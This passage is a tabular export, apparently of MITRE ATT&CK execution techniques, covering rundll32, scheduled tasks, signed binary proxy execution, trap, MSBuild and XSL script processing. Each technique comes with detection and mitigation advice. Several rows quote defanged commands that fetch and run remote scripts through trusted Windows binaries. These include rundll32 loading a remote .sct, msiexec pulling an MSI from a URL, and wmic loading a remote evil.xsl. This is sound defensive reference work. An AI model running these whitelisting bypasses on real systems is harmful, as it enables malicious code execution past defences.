Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)	Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)	Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)	defense-evasion, execution	Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1117
T1085	**1**	**Technique**	**Rundll32**	The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)	Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.	Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)	defense-evasion, execution	File monitoring, Process monitoring, Process command-line parameters, Binary file metadata	Windows	User	https://attack.mitre.org/techniques/T1085
T1053	**1**	**Technique**	**Scheduled Task**	Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security) An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.	Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\System32\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.	Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit) Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task) Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority) Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	execution, persistence	File monitoring, Process monitoring, Process command-line parameters, Windows event logs	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1053

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1064	**1**	**Technique**	**Scripting**	Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)	Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)	Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell. Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)	defense-evasion, execution	Process monitoring, File monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1064
T1035	**1**	**Technique**	**Service Execution**	Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.	Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).	Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level. Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	execution	Windows Registry, Process monitoring, Process command-line parameters	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1035
T1218	**1**	**Technique**	**Signed Binary Proxy Execution**	Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques. ### Msiexec.exe Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec) * <code>msiexec.exe /q /i "C:\path\to\file.msi"</code> * <code>msiexec.exe /q /i http[:]//site[.]com/file.msi</code> * <code>msiexec.exe /y "C:\path\to\file.dll"</code> ### Mavinject.exe Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32) * <code>"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" &lt;PID&gt; /INJECTRUNNING &lt;PATH DLL&gt;</code> * <code>C:\Windows\system32\mavinject.exe &lt;PID&gt; /INJECTRUNNING &lt;PATH DLL&gt;</code> ### SyncAppvPublishingServer.exe SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer) ### Odbcconf.exe Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) * <code>odbcconf.exe /S /A &lbrace;REGSVR "C:\Users\Public\file.dll"&rbrace;</code> Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)	Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.	Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries. If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.	defense-evasion, execution	Process monitoring, Process command-line parameters	Windows	User	https://attack.mitre.org/techniques/T1218
T1216	**1**	**Technique**	**Signed Script Proxy Execution**	Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code> There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)	Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.	Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.	defense-evasion, execution	Process monitoring, Process command-line parameters	Windows	User	https://attack.mitre.org/techniques/T1216
T1153	**1**	**Technique**	**Source**	The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.	Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.	Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.	execution	Process monitoring, File monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1153

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1151	**1**	**Technique**	**Space after Filename**	Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.	It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.	Prevent files from having a trailing space after the extension.	defense-evasion, execution	File monitoring, Process monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1151
T1072	**1**	**Technique**	**Third-party Software**	Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code. Adversaries may gain access to and use third-party systems installed within an enterprise network, such as administration, monitoring, and deployment systems as well as third-party gateways and jump servers used for managing other systems. Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.	Detection methods will vary depending on the type of third-party software or system and how it is typically used. The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.	Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems. Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.	execution, lateral-movement	File monitoring, Third-party application logs, Windows Registry, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1072
T1154	**1**	**Technique**	**Trap**	The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)	Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.	Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.	execution, persistence	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1154
T1127	**1**	**Technique**	**Trusted Developer Utilities**	There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions. ### MSBuild MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild) ### DNX The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass) ### RCSI The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft.	The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.	MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used. Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)	defense-evasion, execution	Process monitoring	Windows	User	https://attack.mitre.org/techniques/T1127

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
				integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass) C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass) ### WinDbg/CDB WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft. An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg) It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft. ### Tracker The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking) An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)							
T1204	1	**Technique**	**User Execution**	An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. As an example, an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into clicking to execute the malicious payload.(Citation: Proofpoint TA505 June 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) commands. Payloads may be included into the .lnk file itself, or be downloaded from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud Hopper Technical Annex April 2017) While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.	Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).	Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files. If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.	execution	Anti-virus, Process command-line parameters, Process monitoring	Linux, Windows	User	https://attack.mitre.org/techniques/T1204
T1047	1	**Technique**	**Windows Management Instrumentation**	Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)	Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)	Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)	execution	Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1047
T1028	1	**Technique**	**Windows Remote Management**	Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)	Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)	Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)	execution, lateral-movement	File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring	Windows	User, Administrator	https://attack.mitre.org/techniques/T1028
T1220	1	**Technique**	**XSL Script Processing**	Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>msxsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.exe script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[.]jpeg script[.]jpeg</code> Another variation of this technique, dubbed "Squiblytwo", involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: <code>wmic process list /FORMAT:evil[.]xsl</code> * Remote File: <code>wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"</code>	Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.	[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.	defense-evasion, execution	Process monitoring, Process command-line parameters, Process use of network, DLL monitoring	Windows	User	https://attack.mitre.org/techniques/T1220

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
